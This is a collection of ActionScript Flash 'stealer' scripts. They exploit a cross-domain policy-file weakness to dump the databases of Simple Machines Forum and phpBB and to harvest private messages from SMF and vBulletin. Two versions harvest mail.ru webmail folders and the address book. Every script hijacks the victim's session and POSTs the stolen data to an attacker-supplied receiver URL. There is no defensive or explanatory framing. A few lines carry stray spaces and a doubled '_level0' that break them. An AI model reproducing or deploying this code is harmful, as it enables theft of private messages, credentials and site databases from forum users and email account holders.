/*

Simple Machines Forum DB Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals database (works only in Mozilla Firefox)

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileU rl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

// Getting session verify

serverRequest(

forumUrl + '/index.php',

'action=admin',

'GET',

onGetSessVerify);

}

function onGetSessVerify(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Looking for 'sesc' (session verify)

var sessVerify:String = loadedData.substr(loadedData.indexOf('sesc=') + 5, 32);

// Dumping DB

serverRequest(

forumUrl + '/index.php',

'data=on&action=dumpdb&sesc=' + sessVerify,

'GET',

onDumpTry);

}

function onDumpTry(loadedData:String):Void {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape('<pre>' + loadedData + '</pre>'),

'POST');

}

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}
// EOF

/*

Simple Machine Forum PM Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals inbox and sent PMs

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

// [optional] messagesUntilDump:Number = Number of PMs per one dump

if(_level0.dataReceiverUrl && _level0._level0.policyFileUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

var messagesContent:Array = new Array();

var allPmLinks:Array = new Array();

var tmpPmLinks:Object = new Object();

var foldersDone:Number = 0;

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileU rl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

// Array of forum's folders links

var folders:Array = new Array(

'/index.php?action=pm;f=inbox;sort=date;start=0',

'/index.php?action=pm;f=outbox;sort=date;start=0');

// Getting lists of messages in some folders (folders)

for(var i in folders) {

serverRequest(

forumUrl + folders[i],

'',

'GET',

onGetMessageList);

}

}

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for PM links

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var pmLinks:Object = ExternalInterface.call(

'function(data) { return data.match(/(index\\.php\\?action=pm;f=[a-z]+;sort=date;start=\\d+)/igm); }',

loadedData);

// Deleting similar links

for(var i in pmLinks) {

tmpPmLinks[pmLinks[i]] = null; }

foldersDone++;

onGetMessageContent(loadedData);

if(foldersDone == folders.length) {

// Concatenation (Object) tmpPmLinks to (Array) links_array

for(var i in tmpPmLinks) {

allPmLinks.push(i); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():Void {

if(allPmLinks.length) {

if(allPmLinks.length < messagesUntilDump) {

messagesUntilDump = allPmLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

forumUrl + '/' + allPmLinks.shift(),

'',

'GET',

onGetMessageContent);

}

}

}

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape(messagesContent.join('<br>')),

'POST');

messagesContent = new Array();

sendGetLinkRequsts();

}

}

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}
// EOF

/*

vBulletin PM Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all PMs (as text)

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileU rl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

var loader:LoadVars = new LoadVars();

loader.onData = function(loadedData:String) {

// Sending received data to dataReceiverUrl

var sender:LoadVars = new LoadVars();

sender.data = '<pre>' + loadedData + '</pre>';

sender.sendAndLoad(_level0.dataReceiverUrl, new LoadVars(), 'POST');

}

// Downloading all PMs

loader.load(forumUrl + '/private.php?do=downloadpm&dowhat=txt');

}

// EOF

/*

phpBB DB Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals database

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

import flash.external.ExternalInterface;

System.security.loadPolicyFile(_level0.policyFileU rl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

var adminPath:String;

var sid:String;

// Getting session verify

serverRequest(

forumUrl + '/index.php',

'',

'GET',

onGetSid);

}

function onGetSid(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for sid and admin panel path

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var matches:Object = ExternalInterface.call(

'function(data) { return data.match(/href=\\"([a-z0-9_-]+)\\/index\\.php\\?sid=([a-z0-9]+)\\">Go to Administration Panel/i); }',

loadedData);

adminPath = matches[1];

sid = matches[2];

if(!sid) {

// No sid found

} else {

// Dumping DB

serverRequest(

forumUrl + '/' + adminPath + '/admin_db_utilities.php',

'perform=backup&additional_tables=&backup_type=ful l&drop=1&backupstart=1&gzipcompress=0&startdownloa d=1&sid=' + sid,

'GET',

onBackupTry);

}

}

function onBackupTry(loadedData):Void {

// Sending received loadedData to _level0.dataReceiverUrl

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape('<a href="' + forumUrl + '/' + adminPath + '/index.php?sid='

+ sid + '"><h4>Try to enter in admin panel</h4></a>'

+ '<pre>' + loadedData + '</pre>'),

'POST');

}

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

// EOF

/*

mail.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, sent, draft, trash + addressbook

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

if(_level0.dataReceiverUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

System.useCodepage = true;

var messagesContent:Array = new Array();

var allMessageLinks:Array = new Array('addressbook');

var tmpMessageLinks:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var messageId:String = ExternalInterface.call(

'function(data) { return data.match(/readmsg\\?id=(\\d+)/i)[1]; }',

referrer).toString();

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment');

var folders:Array = new Array(

'/msglist?folder=0', // Inbox

'/msglist?folder=500000', // Sent

'/msglist?folder=500001', // Draft

'/msglist?folder=500002'); // Trash

// Getting lists of messages in folders

for(var i in folders) {

serverRequest(

baseUrl + folders[i],

onGetMessageList,

'GET');

}

}

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var links:Object = ExternalInterface.call(

'function(data) { return data.match(/(readmsg\\?id=\\d+)/ig); }',

loadedData.split("\\\"").join(''));

// Deleting similar links

for(var i in links) {

tmpMessageLinks[links[i]] = null; }

foldersDone++;

if(foldersDone == folders.length) {

// Concatenation (Object) tmpMessageLinks to (Array) links_array

for(var i in tmpMessageLinks) {

allMessageLinks.push(i); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():Void {

if(allMessageLinks.length) {

if(allMessageLinks.length < messagesUntilDump) {

messagesUntilDump = allMessageLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

baseUrl + '/' + allMessageLinks.shift(),

onGetMessageContent,

'GET');

}

}

}

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

messagesContent = new Array();

sendGetLinkRequsts()

}

}

function serverRequest(

requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

if(vars) { sender.decode(vars); }

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

// EOF

/*

mail.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, sent, draft, trash + addressbook

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

if(dataReceiverUrl) {

import flash.external.ExternalInterface;

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array('addressbook');

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var messageId:String = referrer.match(/readmsg\?id=(\d+)/i)[1];

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment');

var folders:Array = new Array(

// Folders

'/msglist?folder=0', // Inbox

'/msglist?folder=500000', // Sent

'/msglist?folder=500001', // Draft

'/msglist?folder=500002'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

loader.setRequestUrl(baseUrl + folder);

loader.loadUrl();

}

}

function onGetMessageList(loadedData:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(readmsg\?id=\d+)/ig);

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link] = null; }

foldersDone++;

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift());

loader.loadUrl();

}

}

}

function onGetMessageContent(loadedData:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

// EOF